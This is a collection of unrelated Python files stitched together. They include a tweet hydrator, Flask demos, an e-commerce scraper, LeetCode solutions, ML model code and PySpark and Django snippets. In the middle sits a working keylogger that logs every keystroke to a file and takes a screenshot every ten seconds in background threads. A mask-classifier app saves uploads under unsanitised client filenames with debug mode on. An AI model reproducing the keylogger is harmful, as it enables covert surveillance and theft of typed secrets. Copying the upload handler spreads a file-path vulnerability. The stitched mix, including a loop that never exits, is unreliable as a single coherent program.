    twarc = Twarc(**account)

    while True:
        working_path = squeue.get()

        if(working_path == "done"):
            print('job done')

        gzip_path = os.path.join(
            "hydrated/",
            working_path.split("/")[0],
            working_path.split("/")[-1][:-4]+".jsonl.gz")

        print(gzip_path)

        hydrate_file(working_path, twarc, gzip_path)

def hydrate_file(id_file, twarc, gzip_path):
    print("hydrating ", id_file)

    # getting use the cached work
    if os.path.isfile(gzip_path):
        print("skipping jsonl file already exists: ", gzip_path)
        return

    # # set prograss bar totoal ids
    # f = open(id_file, 'rb')
    # f_gen = _reader_generator(f.raw.read)
    # total_ids = sum(buf.count(b'\n') for buf in f_gen)

    with gzip.open(gzip_path, 'w') as output:
        for tweet in twarc.hydrate(open("COVID-19-TweetIDs/"+id_file)):
            # simply write to a gzip file and remove pbar

            if(tweet['place']):
                if(tweet['place']["country_code"].strip() == 'AU'):
                    print(tweet['place']["country_code"], gzip_path)
                    output.write(json.dumps(tweet).encode('utf-8') + b"\n")

def _reader_generator(reader):
    b = reader(1024 * 1024)
    while b:
        yield b
        b = reader(1024 * 1024)

if __name__ == "__main__":
    cfs = load_configs()
    hydrate(cfs)


from flask import Flask,jsonify,render_template,request

app=Flask(__name__)

@app.route("/")
def home():
    return "Welcome to postman demo"

@app.route("/result")
def addition():
    input_data=request.form
    print("The data is:",input_data)

    a=int(input_data['a'])
    b=int(input_data['b'])
    result=a+b

    return jsonify({"Result":f'Addition of {a} and {b} is {result}'})

@app.route("/multiply")
def mul():
    input_data=request.get_json()
    print("The data is:",input_data)

    a=int(input_data['a'])
    b=int(input_data['b'])
    result=a*b

    return jsonify({"Result":f'multiply of {a} and {b} is {result}'})

app.run(debug=True)


# -*- coding: utf-8 -*-
import html
import re
import json
import time
import scrapy
import requests
from hashlib import md5

from overseaSpider.util.utils import isLinux
from overseaSpider.items import ShopItem, SkuAttributesItem, SkuItem

website = 'bintiva'
# 全流程解析脚本

class BintivaSpider(scrapy.Spider):
    name = website
    allowed_domains = ['bintiva.com']
    start_urls = ['https://bintiva.com/']

    @classmethod
    def update_settings(cls, settings):
        # settings.setdict(getattr(cls, 'custom_debug_settings' if getattr(cls, 'is_debug', False) else 'custom_settings', None) or {}, priority='spider')
        custom_debug_settings = getattr(cls, 'custom_debug_settings' if getattr(cls, 'is_debug', False) else 'custom_settings', None)
        system = isLinux()
        if not system:
            # 如果不是服务器, 则修改相关配置
            custom_debug_settings["HTTPCACHE_ENABLED"] = True
            # custom_debug_settings["HTTPCACHE_DIR"] = "/Users/cagey/PycharmProjects/mogu_projects/scrapy_cache"
            custom_debug_settings["MONGODB_SERVER"] = "127.0.0.1"
        settings.setdict(custom_debug_settings or {}, priority='spider')

    def __init__(self, **kwargs):
        super(BintivaSpider, self).__init__(**kwargs)
        self.counts = 0
        setattr(self, 'author', "守约")

    is_debug = True
    custom_debug_settings = {
        'MONGODB_COLLECTION': website,
        'CONCURRENT_REQUESTS': 4,
        'DOWNLOAD_DELAY': 1,
        'LOG_LEVEL': 'DEBUG',
        'COOKIES_ENABLED': False,
        'HTTPCACHE_ENABLED': True,
         # 'HTTPCACHE_EXPIRATION_SECS': 7 * 24 * 60 * 60, # 秒
        'DOWNLOADER_MIDDLEWARES': {
            #'overseaSpider.middlewares.PhantomjsUpdateCookieMiddleware': 543,
            #'overseaSpider.middlewares.OverseaspiderProxyMiddleware': 400,
            'overseaSpider.middlewares.OverseaspiderUserAgentMiddleware': 100,
        },
        'ITEM_PIPELINES': {
            'overseaSpider.pipelines.OverseaspiderPipeline': 300,
        },
        'HTTPCACHE_POLICY': 'overseaSpider.middlewares.DummyPolicy',
    }

    def start_requests(self):
        url_list = [
            'https://bintiva.com/',
        ]
        for url in url_list:
            print(url)
            yield scrapy.Request(
                url=url,
            )

        #url = "http://bintiva.com/"
        #yield scrapy.Request(
        #    url=url,
        #)

    def parse(self, response):
        url_list = response.xpath("//nav[@class='navPages']//a/@href").getall()
        url_list.pop(0)
        url_list = [response.urljoin(url) for url in url_list]
        for url in url_list:
            print(url)
            yield scrapy.Request(
                url=url,
                callback=self.parse_list,
            )

    def parse_list(self, response):
        """列表页"""
        url_list = response.xpath("//ul[@class='productGrid productGrid--maxCol3']/li//figure/a/@href").getall()
        url_list = [response.urljoin(url) for url in url_list]
        for url in url_list:
            print(url)
            yield scrapy.Request(
                url=url,
                callback=self.parse_detail,
            )

        # response_url = parse.unquote(response.url)
        # split_str = ''
        # base_url = response_url.split(split_str)[0]
        # page_num = int(response_url.split(split_str)[1])+1
        # next_page_url = base_url + split_str + str(page_num)
        next_page_url = response.xpath('//link[@rel="next"]/@href').get()
        if next_page_url:
           next_page_url = response.urljoin(next_page_url)
           print("下一页:"+next_page_url)
           yield scrapy.Request(
               url=next_page_url,
               callback=self.parse_list,
           )
    def filter_html_label(self, text):
        text = str(text)
        text = html.unescape(text)
        # 注释，js，css，html标签
        filter_rerule_list = [r'(<!--[\s\S]*?-->)', r'<script[\s\S]*?</script>', r'<style[\s\S]*?</style>', r'<[^>]+>']
        for filter_rerule in filter_rerule_list:
            html_labels = re.findall(filter_rerule, text)
            for h in html_labels:
                text = text.replace(h, ' ')
        filter_char_list = [
            u'\x85', u'\xa0', u'\u1680', u'\u180e', u'\u2000', u'\u200a', u'\u2028', u'\u2029', u'\u202f', u'\u205f',
            u'\u3000', u'\xA0', u'\u180E', u'\u200A', u'\u202F', u'\u205F', '\t', '\n', '\r', '\f', '\v',
        ]
        for f_char in filter_char_list:
            text = text.replace(f_char, '')
        text = re.sub(' +', ' ', text).strip()
        return text

    def filter_text(self, input_text):
        filter_list = [u'\x85', u'\xa0', u'\u1680', u'\u180e', u'\u2000-', u'\u200a',
                       u'\u2028', u'\u2029', u'\u202f', u'\u205f', u'\u3000', u'\xA0', u'\u180E',
                       u'\u200A', u'\u202F', u'\u205F']
        for index in filter_list:
            input_text = input_text.replace(index, "").strip()
        return input_text

    def parse_detail(self, response):
        """详情页"""
        items = ShopItem()
        items["url"] = response.url
        # price = re.findall("", response.text)[0]
        original_price = response.xpath("//div[@itemprop='offers']/span[@class='price price--withoutTax price--main']/text()").get()
        original_price=original_price.split("$")[-1]
        current_price = response.xpath("//div[@itemprop='offers']/following-sibling::div[@class='price-section rrp-price--withoutTax price-section--withoutTax']/span/text()").get()
        current_price=self.filter_text(self.filter_html_label(current_price))
        if current_price:
            current_price=current_price.split("$")[-1]
        else:
            current_price=original_price
        items["original_price"] = "" + str(original_price) if original_price else "" + str(current_price)
        items["current_price"] = "" + str(current_price) if current_price else "" + str(original_price)
        items["brand"] = response.xpath("//h5[@class='productView-brand']/a/span/text()").get()
        items["name"] = response.xpath("//h1[@class='productView-title']//text()").get()
        # attributes = list()
        # items["attributes"] = attributes
        # items["about"] = response.xpath("").get()
        des=response.xpath('//section[@class="productView-desc productView-desc--full"]//text()').getall()
        des=' '.join(des)
        des=self.filter_text(self.filter_html_label(des))
        items["description"] = des

        items["source"] = '	bintiva.com'
        images_list = response.xpath("//div[@class='slick-track']/li/a/@href").getall()
        items["images"] = images_list

        Breadcrumb_list = response.xpath("//ul[@class='breadcrumbs']/li/a/span/text()").getall()
        br_list='/'.join(Breadcrumb_list)
        items["cat"] = Breadcrumb_list[-1]
        items["detail_cat"] = br_list

        label_list=response.xpath("//div[@class='productView-optionsGrid']/div/div/label")
        label_list.pop(0)
        color_list=[]
        for label in label_list:
            color=label.xpath("./span/@title").get()
            color_list.append({'color':color})

        sku_list = list()

        for sku in color_list:
            sku_item = SkuItem()
            sku_item["original_price"] = items["original_price"]
            sku_item["current_price"] = items["current_price"]

            sku_item["url"] = response.url

            attributes = SkuAttributesItem()
            attributes["colour"] = sku["color"]

            sku_item["attributes"] = attributes
            sku_list.append(sku_item)

        items["sku_list"] = sku_list
        items["measurements"] = ["Weight: None", "Height: None", "Length: None", "Depth: None"]
        status_list = list()
        status_list.append(items["url"])
        status_list.append(items["original_price"])
        status_list.append(items["current_price"])
        status_list = [i for i in status_list if i]
        status = "-".join(status_list)
        items["id"] = md5(status.encode("utf8")).hexdigest()

        items["lastCrawlTime"] = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())
        items["created"] = int(time.time())
        items["updated"] = int(time.time())
        items['is_deleted'] = 0

        print(items)
        # yield items


# Question: https://leetcode.com/problems/counting-bits/
# Easy
from typing import Optional, List

class Solution:
    # O(n) Time and O(n) Space
    def countBits(self, n: int) -> List[int]:
        dp = [0 for _ in range(n+1)]
        offset = 1

        for num in range(1, n + 1):
            if offset * 2 == num:
                offset = num
            dp[num] = 1 + dp[num - offset]

        return dp
'''

# Kunal Wadhwa

'''

Questions/[Bit Manipulation] Counting Bits.py


import cPickle as pickle
import hickle
import numpy as np

from tensorflow.python.ops import control_flow_ops
from tensorflow.python.ops import math_ops
from tensorflow.python.ops import state_ops
from tensorflow.python.framework import ops
from tensorflow.python.training import optimizer

import tensorflow as tf

def load_pickle(fin):
	with open(fin,'r') as f:
		obj = hickle.load(f)
	return obj

def variable_summaries(var):
  """Attach a lot of summaries to a Tensor (for TensorBoard visualization)."""
  with tf.name_scope('summaries'):
    mean = tf.reduce_mean(var)
    tf.summary.scalar('mean', mean)
    with tf.name_scope('stddev'):
      stddev = tf.sqrt(tf.reduce_mean(tf.square(var - mean)))
    tf.summary.scalar('stddev', stddev)
    tf.summary.scalar('max', tf.reduce_max(var))
    tf.summary.scalar('min', tf.reduce_min(var))
    tf.summary.histogram('histogram', var)

def model_stats():
  print("============================================================")
  print("List of all Trainable Variables")
  tvars = tf.trainable_variables()
  all_params = []
  for idx, v in enumerate(tvars):
    print(" var {:3}: {:15} {}".format(idx, str(v.get_shape()), v.name))
    num_params = 1
    param_list = v.get_shape().as_list()
    if(len(param_list)>1):
      for p in param_list:
        if(p>0):
          num_params = num_params * int(p)
    else:
      all_params.append(param_list[0])
    all_params.append(num_params)
  print("Total number of trainable parameters {}".format(np.sum(all_params)))

class AdamaxOptimizer(optimizer.Optimizer):
    """Optimizer that implements the Adamax algorithm.

    See [Kingma et. al., 2014](http://arxiv.org/abs/1412.6980)
    ([pdf](http://arxiv.org/pdf/1412.6980.pdf)).

    @@__init__
    """

    def __init__(self, learning_rate=0.001, beta1=0.9, beta2=0.999,
                    use_locking=False, name="Adamax"):
        super(AdamaxOptimizer, self).__init__(use_locking, name)
        self._lr = learning_rate
        self._beta1 = beta1
        self._beta2 = beta2

        # Tensor versions of the constructor arguments, created in _prepare().
        self._lr_t = None
        self._beta1_t = None
        self._beta2_t = None

    def _prepare(self):
        self._lr_t = ops.convert_to_tensor(self._lr, name="learning_rate")
        self._beta1_t = ops.convert_to_tensor(self._beta1, name="beta1")
        self._beta2_t = ops.convert_to_tensor(self._beta2, name="beta2")

    def _create_slots(self, var_list):
        # Create slots for the first and second moments.
        for v in var_list:
            self._zeros_slot(v, "m", self._name)
            self._zeros_slot(v, "v", self._name)

    def _apply_dense(self, grad, var):
        lr_t = math_ops.cast(self._lr_t, var.dtype.base_dtype)
        beta1_t = math_ops.cast(self._beta1_t, var.dtype.base_dtype)
        beta2_t = math_ops.cast(self._beta2_t, var.dtype.base_dtype)
        if var.dtype.base_dtype == tf.float16:
            eps = 1e-7
            # Can't use 1e-8 due to underflow -- not sure if it makes a big difference.
        else:
            eps = 1e-8

        v = self.get_slot(var, "v")
        v_t = v.assign(beta1_t * v + (1. - beta1_t) * grad)
        m = self.get_slot(var, "m")
        m_t = m.assign(tf.maximum(beta2_t * m + eps, tf.abs(grad)))
        g_t = v_t / m_t

        var_update = state_ops.assign_sub(var, lr_t * g_t)
        return control_flow_ops.group(*[var_update, m_t, v_t])

    def _apply_sparse(self, grad, var):
        raise NotImplementedError("Sparse gradient updates are not supported.")


from pynput.keyboard import Listener
from time import sleep
import pyautogui
import threading
import os

def write_to_file(key):
    event_letter = str(key)
    if event_letter.startswith("Key"):
        if event_letter == "Key.space":
            event_letter = " "
        elif event_letter == "Key.enter":
            event_letter = "\n"
        elif event_letter == "Key.backspace":
            event_letter = "*"
        else:
            event_letter = ""
    with open("log.txt", "a") as writer:
        writer.write(event_letter.replace("'",""))

def key_listener():
    with Listener(on_press=write_to_file) as write:
        write.join()

def take_screenshot():
    count = 0
    screenshot_location = "./screenshot"
    if not os.path.exists(screenshot_location):
        os.makedirs(screenshot_location)
    while True:
        screenshot = pyautogui.screenshot()
        screenshot.save(f"./{screenshot_location}/{screenshot_location}_{count}.png")
        count+=1
        sleep(10)

if __name__ == "__main__":
    key_listener_task = threading.Thread(target=key_listener)
    key_listener_task.start()
    screenshot_task = threading.Thread(target=take_screenshot)
    screenshot_task.start()


"""
cmc_embedding.py

This file is an implementation of the Cross-Modal Temporal Distance
Classification (CMC) embedding network "ψ" specified in "Playing Hard
Exploration Games By Watching YouTube Videos" by Aytar et al.

--------------------------------------------------------------------------------

This network learns a function ψ: A -> R^(N) that maps frequency decomposed
audio snippets to an N-Dimensional embedding space R^(N).

The weights are learned via an auxiliary task of Cross-Modal Temporal Distance
Classification (CMC), where the embeddings are used by another function
('CMC_Classifier' in cmc_classifier.py) to predict the temporal distance between
a video frame and an associated audio snippet.

--------------------------------------------------------------------------------

Specs for this network are described in the paper here:

"The audio embedding function, ψ, is as per φ except that it has four, width-8,
1D convolutional layers with (32, 64, 128, 256) channels and 2x max-pooling, and
a single width-1024 linear layer. The input is a width-137 (6ms) sample of 256
frequency channels, calculated using STFT. ReLU-activation and
batch-normalization are applied throughout and the embedding vector is
l2-normalized."
"""

import torch
import torch.nn as nn
import torch.nn.functional as F

class CMC_Embedding(nn.Module):

    def __init__(self, input_channels, output_channels):
        super(CMC_Embedding, self).__init__()

        self.conv_layers = nn.Sequential(
            nn.Conv1d(input_channels, 32, 8, padding=0),
            nn.BatchNorm1d(32),
            nn.MaxPool1d(2),
            nn.ReLU(),

            nn.Conv1d(32, 64, 8, padding=0),
            nn.BatchNorm1d(64),
            nn.MaxPool1d(2),
            nn.ReLU(),

            nn.Conv1d(64, 128, 8, padding=0),
            nn.BatchNorm1d(128),
            nn.MaxPool1d(2),
            nn.ReLU(),

            nn.Conv1d(128, 256, 8, padding=0),
            nn.BatchNorm1d(256),
            nn.MaxPool1d(2),
            nn.ReLU())

        self.fully_connected = nn.Sequential(nn.Linear(512, output_channels))

    def forward(self, input):
        output = self.conv_layers(input)
        output = output.view(output.size(0), -1)
        output = self.fully_connected(output)

        return output

Learning from YouTube/src/models/embedding networks/cmc_embedding.py


import sys
sys.path.insert(0, 'C:\Automation\Tools')
import unittest
import pyautogui
import time
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from datetime import datetime
from totem_tutorial import tutor_start_time

# Creating error class
class ErrorsTutorial:
    def __init__(self, test_name, start_time):
        self.test_name = test_name
        self.start_time = start_time

    def error_tutorial(self):
        test_name = self.test_name
        test_failure_time = datetime.now()
        timenow = datetime.now()
        timenow1 = str(timenow)
        timenow2 = (timenow1[:-7])
        run_time = test_failure_time - self.start_time
        run_time1 = str(run_time)
        run_time2 = (run_time1[:-7])
        tf = r'C:\Totem_tutorial_Log.txt'
        f2 = open(tf, 'a')
        f2.write("***************************************************************" + '\n'
                 + str(test_name) + 'failed in: ' + str(timenow2) + '\n'
                 + 'Test running time: ' + str(run_time2) + '\n'
                 + "***************************************************************" + '\n')
        f2.close()
        driver = webdriver.Chrome(executable_path='C:\Automation\chromedriver.exe')
        driver.quit()

def tutor_error():
    tutor_error_var = ErrorsTutorial('Test run Totem tutorial ', tutor_start_time)
    tutor_error_var.error_tutorial()


from pyspark.sql import SparkSession
from pyspark.sql.functions import avg, col, count, when

# Inicializar sessão do Spark
spark = SparkSession.builder.appName("LargeDataAnalysis").getOrCreate()

# Carregar dados em um DataFrame do Spark
df = spark.read.csv("large_data.csv", header=True, inferSchema=True)

# Adicionar uma nova coluna ao DataFrame com base em uma condição
df = df.withColumn("new_column", when(col("column_name") > 5, 1).otherwise(0))

# Agrupar dados por uma coluna e calcular a média de outra coluna
grouped = df.groupby("group_column_name").agg(avg(col("column_to_average")), count("*"))

# Filtrar linhas com base em uma condição
filtered = grouped.filter(col("avg(column_to_average)") > 10)

# Mostrar as primeiras linhas do DataFrame filtrado
filtered.show(10)

# Parar a sessão do Spark
spark.stop()


from flask import Flask
from flask import render_template, request, send_from_directory
from tensorflow.keras.models import load_model
from tensorflow.keras.preprocessing.image import img_to_array, load_img
from tensorflow import expand_dims
import numpy as np
import os
os.environ["CUDA_VISIBLE_DEVICES"] = "0"
import sys
from PIL import Image

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './images/'
model = load_model('masker.h5')

class_dict = { 0 :'with mask' , 1 :'without mask' }

@app.route("/", methods=['GET','POST'])
def index():
	if request.method == 'POST':
		if request.files:
			image = request.files['image']
			img_path = os.path.join(app.config['UPLOAD_FOLDER'], image.filename)
			image.save(img_path)
			prediction = get_output(img_path)
			return render_template('index.html', uploaded_image=image.filename, prediction=prediction)
	return render_template('index.html')

def get_output(img_path):
	loaded_img = load_img(img_path, target_size=(150,150))
	img_array = img_to_array(loaded_img) / 255.0
	img_array = expand_dims(img_array, 0)
	predicted_bit = np.round(model.predict(img_array)[0][0].astype(int))
	return class_dict[predicted_bit]

@app.route('/display/<filename>')
def send_uploaded_image(filename=''):
    return send_from_directory(app.config['UPLOAD_FOLDER'], filename)

if __name__ =='__main__':
	# app.debug = True
	# app.run(debug=True)
	app.run(port=1300,debug = True)


#from django.contrib import admin
from django.urls import path
from . import views  #dot is this directory

urlpatterns = [
    path('', views.home, name='home'),
    path('count/', views.count, name='count'),
    path('babe/', views.babe , name='babe'),

    #path('admin/', admin.site.urls),
    # you can change admin path like 'good/'
]


"""
438. Find All Anagrams in a String
https://leetcode.com/problems/find-all-anagrams-in-a-string
"""
import collections
from typing import List

class Solution:
    def findAnagrams(self, s: str, p: str) -> List[int]:
        start, pending = 0, len(p)
        cache_anagram = collections.Counter(p)
        cache_curr = collections.Counter()
        res = []
        for end, c in enumerate(s):
            if c not in p:
                cache_curr.clear()
                start = end + 1
                pending = len(p)
                continue
            cache_curr[c] += 1
            pending -= 1

            while cache_curr[c] > cache_anagram[c]:
                cache_curr[s[start]] -= 1
                start += 1
                pending += 1

            if not pending:
                res.append(start)

        return res